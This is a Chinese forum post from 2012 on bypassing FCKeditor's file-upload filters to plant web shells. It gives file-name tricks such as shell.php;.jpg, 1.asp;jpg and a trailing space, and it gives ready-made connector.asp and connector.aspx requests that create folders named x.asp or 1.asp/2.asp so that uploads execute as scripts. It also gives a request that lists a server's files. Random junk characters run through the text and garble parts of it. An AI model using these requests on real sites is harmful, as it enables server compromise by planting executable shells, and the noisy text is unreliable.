很多时候上传的文件例如：shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化，试试上传 1.asp;jpg. t0 T& o8 U0 l
5 K9 ~; a8 q* i7 Q7 o9 K; \0 G提交 shell.php+空格 绕过，不过空格只支持 win 系统 *nix 是不支持的，shell.php 和 shell.php+空格 是 2 个不同的文件，未测试。, I) q8 k* }% w2 e& V; k2 B7 k
! p- G/ I7 C; i$ @2 d继续上传同名文件可变为 shell.php;(1).jpg，也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
9 ~7 P% T# Z4 T \7 c3 y, ^" G* ~; c U% a
突破建立文件夹：
8 z% s3 I. @& D) C$ a; u; V
) b+ t! H0 e3 t' Weditor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp8 t4 \$ x$ B! \5 ~, @% F
6 H. t: x( I* L. n. P参数：
) N' S" |; i9 _5 h7 \" j( m" `# N) W h% y \3 K
当前目录名：CurrentFolder=/qing.asp. | Q% f8 v0 J( |0 \
3 _% p0 C" I% s* r* L9 U
新的目录名：NewFolderName=x.asp2 N5 n% J0 J: e, m
3 V4 f$ L& N! k其实很简单，在目录那里写 x.asp，然后点击新建目录在弹出来的对话框中随便写……) `3 j6 d" Y+ o, W+ i7 C8 |6 @: P" J$ [
, J, U/ q* R: W1 o- r! W2 \
那么 x.asp 就已经建立生成了，此方法百试百灵！2 L6 O4 Q8 o2 {' v8 C
) a n- S4 }# ]: b
新建文件夹参数 x.asp，基本都能搞定。
" t+ }! k6 } N* ]3 T$ i; \7 U) W) D0 G
下面这句话是要在1.asp下建立2.asp，当不存在1.asp时会先创建，只过滤了目标目录的创建 而没有过滤不存在目录的创建
! h# I$ h% F; }5 P! i/ ~ F. v8 q9 e- {0 R5 n0 ~/ y
aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp9 b8 e0 Q3 N3 Z* y+ f( w5 F3 T
- W( ]7 w% F" u, `% J
获取文件列表
6 B0 r9 Z5 E: \/ d2 d6 I aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F: } f' K% F1 W, s% T9 A
! ?- v' P3 Z* X9 ^# u0 [' \
|
发表于 2012-12-31 09:27:09
收藏
支持
反对